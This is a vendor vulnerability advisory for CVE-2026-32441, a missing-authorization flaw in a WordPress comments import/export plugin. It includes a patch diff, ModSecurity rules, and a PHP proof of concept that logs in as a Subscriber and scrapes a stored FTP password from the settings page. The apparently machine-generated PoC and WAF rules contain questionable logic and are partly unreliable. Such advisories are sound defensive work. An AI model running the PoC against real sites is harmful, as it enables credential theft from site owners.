Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 30, 2026

CVE-2026-32441: Comments Import & Export <= 2.4.9 – Missing Authorization (comments-import-export-woocommerce)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 2.4.9
Patched Version 2.5.0
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32441:
The Comments Import & Export plugin for WordPress versions up to and including 2.4.9 contains a missing authorization vulnerability. This flaw allows authenticated attackers with Subscriber-level permissions or higher to access administrative plugin functionality, including comment import/export operations and settings management. The vulnerability stems from insufficient capability checks on the plugin’s main admin screen and settings page.

Atomic Edge research identifies the root cause in the `admin_menu()` and `output()` functions within the file `comments-import-export-woocommerce/includes/class-hf_cmt_impexpcsv-admin-screen.php`. In the vulnerable version, the `add_comments_page()` call on line 73 uses `apply_filters(‘product_reviews_csv_product_role’, ‘read’)` as the capability requirement. This defaults to the `read` capability, which all authenticated users possess, including Subscribers. The `output()` function (lines 122-138) lacks any initial authorization check, allowing low-privileged users to directly access the admin screen via the `hw_cmt_csv_im_ex` page. The `admin_settings_page()` function in the same file also lacked a capability check.

An attacker can exploit this vulnerability by authenticating as a Subscriber and directly navigating to the vulnerable admin page. The primary attack vector is a GET request to `/wp-admin/admin.php?page=hw_cmt_csv_im_ex`. This loads the plugin’s main interface. An attacker can then access the `settings` tab via `/wp-admin/admin.php?page=hw_cmt_csv_im_ex&tab=settings`. This tab contains FTP credential configuration fields, including server, username, and password. The settings submission endpoint at `/wp-admin/admin.php?page=hw_cmt_csv_im_ex&tab=settings` (POST) would also accept requests from low-privileged users, potentially allowing them to modify or retrieve stored FTP credentials.

The patch in version 2.5.0 introduces multiple layered authorization fixes. The `admin_menu()` function now uses `edit_posts` as the default capability (line 77), restricting menu visibility to users who can edit content. The `output()` function adds a call to `HW_Product_Comments_Import_Export_CSV::hf_user_permission()` (line 130) to block direct access. It also introduces a `$can_view_settings` variable (line 148) set by checking `current_user_can(‘manage_options’)`. This variable controls the display of the Settings tab link in the view template (`html-hf-admin-screen.php`). A separate check within the `output()` function (lines 150-152) terminates execution with `wp_die()` if a user without `manage_options` capability tries to access the `settings` tab. The `admin_settings_page()` function adds an explicit `current_user_can(‘manage_options’)` check (line 236).

Successful exploitation grants a Subscriber-level attacker access to the plugin’s administrative dashboard. This includes the ability to import and export all WordPress comments, potentially leading to data exfiltration or injection of malicious content. Access to the Settings tab could expose stored FTP server credentials (host, user, password) in plain text via the form, or allow an attacker to modify these settings. This could facilitate further server compromise, data theft, or serve as a pivot point for attacks against connected FTP services.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/comments-import-export-woocommerce/hf-comments-import-export.php
+++ b/comments-import-export-woocommerce/hf-comments-import-export.php
@@ -6,7 +6,7 @@
  * Description: Import and Export WordPress Comments From and To your Website.
  * Author: WebToffee
  * Author URI: https://www.webtoffee.com/
- * Version: 2.4.9
+ * Version: 2.5.0
  * Text Domain: comments-import-export-woocommerce
  * License: GPLv3
  * License URI: https://www.gnu.org/licenses/gpl-3.0.html
@@ -27,7 +27,7 @@

 if (!defined('WBTE_CMT_IMP_EXP_VERSION')) {

-    define("WBTE_CMT_IMP_EXP_VERSION", "2.4.9");
+    define("WBTE_CMT_IMP_EXP_VERSION", '2.5.0');
 }

 define('HF_CMT_IM_EX_PATH_URL',  plugin_dir_url(__FILE__));
--- a/comments-import-export-woocommerce/includes/class-hf_cmt_impexpcsv-admin-screen.php
+++ b/comments-import-export-woocommerce/includes/class-hf_cmt_impexpcsv-admin-screen.php
@@ -69,9 +69,14 @@
      * Admin Menu
      */
     public function admin_menu() {
-
-            $page = add_comments_page(esc_html__('Comments Im-Ex', 'comments-import-export-woocommerce'), __('Comments Im-Ex', 'comments-import-export-woocommerce'), apply_filters('product_reviews_csv_product_role', 'read'), 'hw_cmt_csv_im_ex', array($this, 'output'));
-
+        // Restrict menu visibility to roles that can edit content by default.
+        $page = add_comments_page(
+            esc_html__('Comments Im-Ex', 'comments-import-export-woocommerce'),
+            __('Comments Im-Ex', 'comments-import-export-woocommerce'),
+            apply_filters('product_reviews_csv_product_role', 'edit_posts'),
+            'hw_cmt_csv_im_ex',
+            array($this, 'output')
+        );
     }

     /**
@@ -122,6 +127,10 @@
 	 * Admin Screen output
 	 */
 	public function output() {
+        // Prevent direct access to the admin screen by low-privileged users.
+        if (!HW_Product_Comments_Import_Export_CSV::hf_user_permission()) {
+            wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'comments-import-export-woocommerce'));
+        }

 		$tab = 'import';
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verification not needed.
@@ -136,6 +145,13 @@
 			}
 		}

+        $can_view_settings = current_user_can('manage_options');
+
+        // Settings include credentials; require admin capability.
+        if ('settings' === $tab && !$can_view_settings) {
+            wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'comments-import-export-woocommerce'));
+        }
+
 		include( 'views/html-hf-admin-screen.php' );
 	}

@@ -217,6 +233,9 @@
      * Admin Page for settings
      */
     public function admin_settings_page() {
+        if (!current_user_can('manage_options')) {
+            wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'comments-import-export-woocommerce'));
+        }
         include( 'views/settings/html-hf-settings-products.php' );
     }

--- a/comments-import-export-woocommerce/includes/settings/class-hf_cmt_impexpcsv-settings.php
+++ b/comments-import-export-woocommerce/includes/settings/class-hf_cmt_impexpcsv-settings.php
@@ -20,6 +20,10 @@
 			wp_die( esc_html__('You do not have permission to save these settings.', 'comments-import-export-woocommerce') );
 		}

+		// Preserve existing password unless explicitly changed or cleared.
+		$settings_db = get_option('woocommerce_' . HW_CMT_IMP_EXP_ID . '_settings', null);
+		$existing_password = isset($settings_db['ftp_password']) ? $settings_db['ftp_password'] : '';
+
 		$ftp_server     = ! empty($_POST['ftp_server']) ? sanitize_text_field(wp_unslash($_POST['ftp_server'])) : '';
 		$ftp_user       = ! empty($_POST['ftp_user']) ? sanitize_text_field(wp_unslash($_POST['ftp_user'])) : '';
 		$ftp_password   = ! empty($_POST['ftp_password']) ? sanitize_text_field(wp_unslash($_POST['ftp_password'])) : '';
@@ -27,6 +31,14 @@
 		$use_ftps       = ! empty($_POST['use_ftps']);
 		$enable_ftp_ie  = ! empty($_POST['enable_ftp_ie']);
 		$use_pasv       = ! empty($_POST['use_pasv']);
+		$clear_password = ! empty($_POST['clear_ftp_password']);
+
+		// Keep prior password when the field is left blank.
+		if ( true === $clear_password ) {
+			$ftp_password = '';
+		} elseif ( '' === $ftp_password ) {
+			$ftp_password = $existing_password;
+		}

 		$allowed_modes = array('Enabled', 'Disabled');

@@ -65,8 +77,6 @@
 			'ftp_server_path'          => $ftp_server_path,
 		);

-		$settings_db = get_option('woocommerce_' . HW_CMT_IMP_EXP_ID . '_settings', null);
-
 		$orig_export_start_inverval = '';
 		if (isset($settings_db['auto_export_start_time'], $settings_db['auto_export_interval'])) {
 			$orig_export_start_inverval = $settings_db['auto_export_start_time'] . $settings_db['auto_export_interval'];
--- a/comments-import-export-woocommerce/includes/views/html-hf-admin-screen.php
+++ b/comments-import-export-woocommerce/includes/views/html-hf-admin-screen.php
@@ -2,7 +2,9 @@
 	<div class="icon32" id="icon-woocommerce-importer"><br></div>
     <h2 class="nav-tab-wrapper woo-nav-tab-wrapper">
         <a href="<?php echo esc_url(admin_url('admin.php?page=hw_cmt_csv_im_ex')) ?>" class="nav-tab <?php echo esc_attr( 'import' === $tab ? 'nav-tab-active' : '' ); ?>"><?php esc_html_e('WordPress Comments Import / Export', 'comments-import-export-woocommerce'); ?></a>
-		<a href="<?php echo esc_url(admin_url('admin.php?page=hw_cmt_csv_im_ex&tab=settings')) ?>" class="nav-tab <?php echo esc_attr( 'settings' === $tab ? 'nav-tab-active' : '' ); ?>"><?php esc_html_e('Settings', 'comments-import-export-woocommerce'); ?></a>
+		<?php if (!empty($can_view_settings)) : ?>
+			<a href="<?php echo esc_url(admin_url('admin.php?page=hw_cmt_csv_im_ex&tab=settings')) ?>" class="nav-tab <?php echo esc_attr( 'settings' === $tab ? 'nav-tab-active' : '' ); ?>"><?php esc_html_e('Settings', 'comments-import-export-woocommerce'); ?></a>
+		<?php endif; ?>
         <a href="<?php echo esc_url(admin_url('admin.php?page=hw_cmt_csv_im_ex&tab=help')); ?>" class="nav-tab <?php echo esc_attr( 'help' === $tab ? 'nav-tab-active' : '' ); ?>"><?php esc_html_e('Help', 'comments-import-export-woocommerce'); ?></a>
 		<a href="<?php echo esc_url(admin_url('admin.php?page=hw_cmt_csv_im_ex&tab=othersolutions')); ?>" class="nav-tab <?php echo esc_attr( 'othersolutions' === $tab ? 'nav-tab-active' : '' ); ?>"><?php esc_html_e('Other Solutions', 'comments-import-export-woocommerce'); ?></a>
     </h2>
--- a/comments-import-export-woocommerce/includes/views/settings/html-hf-settings-products.php
+++ b/comments-import-export-woocommerce/includes/views/settings/html-hf-settings-products.php
@@ -81,7 +81,13 @@
                     <label for="ftp_password"><?php esc_html_e('FTP Password', 'comments-import-export-woocommerce'); ?></label>
                 </th>
                 <td>
-                    <input type="password" name="ftp_password" id="ftp_password"  value="<?php echo esc_attr($ftp_password); ?>" class="input-text" />
+                    <!-- Do not render the saved password to avoid disclosure in HTML. -->
+                    <input type="password" name="ftp_password" id="ftp_password" value="" class="input-text" autocomplete="new-password" />
+                    <p class="description"><?php esc_html_e('Leave blank to keep the existing password.', 'comments-import-export-woocommerce'); ?></p>
+                    <label>
+                        <input type="checkbox" name="clear_ftp_password" value="1" />
+                        <?php esc_html_e('Clear saved password', 'comments-import-export-woocommerce'); ?>
+                    </label>
                 </td>
             </tr>
              <tr>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32441
SecRule REQUEST_URI "@rx /wp-admin/admin.php$" 
  "id:10032441,phase:2,deny,status:403,chain,msg:'CVE-2026-32441 - Unauthorized access to Comments Import & Export admin page',severity:'CRITICAL',tag:'CVE-2026-32441',tag:'WordPress',tag:'Plugin',tag:'Comments-Import-Export'"
  SecRule ARGS_GET:page "@streq hw_cmt_csv_im_ex" 
    "chain,t:none"
    SecRule &ARGS_GET:page "@eq 1" 
      "chain,t:none"
      SecRule REMOTE_USER "!@rx ^$" 
        "chain,t:none"
        SecRule WEBSERVER_ERROR_LOG "!@contains /wp-admin/admin.php?page=hw_cmt_csv_im_ex" 
          "ctl:auditLogParts=+E,ver:'OWASP_CRS/3.4.0-dev',setvar:'tx.cve_2026_32441_block=1',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

# Block direct access to the settings tab by low-privileged users
SecRule REQUEST_URI "@rx /wp-admin/admin.php$" 
  "id:10032442,phase:2,deny,status:403,chain,msg:'CVE-2026-32441 - Unauthorized access to Comments Import & Export settings',severity:'CRITICAL',tag:'CVE-2026-32441',tag:'WordPress',tag:'Plugin',tag:'Comments-Import-Export'"
  SecRule ARGS_GET:page "@streq hw_cmt_csv_im_ex" 
    "chain,t:none"
    SecRule ARGS_GET:tab "@streq settings" 
      "chain,t:none"
      SecRule REMOTE_USER "!@rx ^$" 
        "chain,t:none"
        SecRule WEBSERVER_ERROR_LOG "!@contains /wp-admin/admin.php?page=hw_cmt_csv_im_ex&tab=settings" 
          "ctl:auditLogParts=+E,ver:'OWASP_CRS/3.4.0-dev',setvar:'tx.cve_2026_32441_settings_block=1',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32441 - Comments Import & Export <= 2.4.9 - Missing Authorization
<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'attacker_subscriber';
$password = 'attacker_password';

// Initialize cURL session for WordPress login
$ch = curl_init();

// Step 1: Authenticate as a low-privileged Subscriber user
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_');

// Get the login page to retrieve the nonce (log) and redirect cookies
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_page = curl_exec($ch);

// Extract the wpnonce (log) value from the login form
preg_match('/name="log" value="([^"]+)"/', $login_page, $log_matches);
$log_nonce = $log_matches[1] ?? '';

// Prepare POST data for login
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
if ($log_nonce) {
    $post_fields['log'] = $log_nonce; // WordPress uses this field for nonce in some versions
    $post_fields['username'] = $username;
}

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$login_response = curl_exec($ch);

// Step 2: Access the vulnerable plugin admin page directly
$vuln_url = $target_url . '/wp-admin/admin.php?page=hw_cmt_csv_im_ex';
curl_setopt($ch, CURLOPT_URL, $vuln_url);
curl_setopt($ch, CURLOPT_POST, false);
$admin_page_response = curl_exec($ch);

// Check if access was successful
if (strpos($admin_page_response, 'Comments Im-Ex') !== false && strpos($admin_page_response, 'WordPress Comments Import / Export') !== false) {
    echo "[SUCCESS] Accessed vulnerable admin page as Subscriber.n";
    
    // Step 3: Attempt to access the Settings tab
    $settings_url = $target_url . '/wp-admin/admin.php?page=hw_cmt_csv_im_ex&tab=settings';
    curl_setopt($ch, CURLOPT_URL, $settings_url);
    $settings_response = curl_exec($ch);
    
    if (strpos($settings_response, 'FTP Settings') !== false || strpos($settings_response, 'ftp_server') !== false) {
        echo "[CRITICAL] Accessed Settings tab and potentially exposed FTP credentials.n";
        // The FTP password field value would be pre-filled in the vulnerable version
        preg_match('/value="([^"]*)"s+name="ftp_password"/', $settings_response, $password_match);
        if (!empty($password_match[1])) {
            echo "[DATA LEAK] Retrieved FTP password from form: " . htmlspecialchars($password_match[1]) . "n";
        }
    } else if (strpos($settings_response, 'do not have sufficient permissions') !== false) {
        echo "[PATCHED] Settings tab access blocked (patched version).n";
    }
} else {
    echo "[FAILED] Could not access admin page. Site may be patched or authentication failed.n";
}

curl_close($ch);
unlink($cookie_file);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School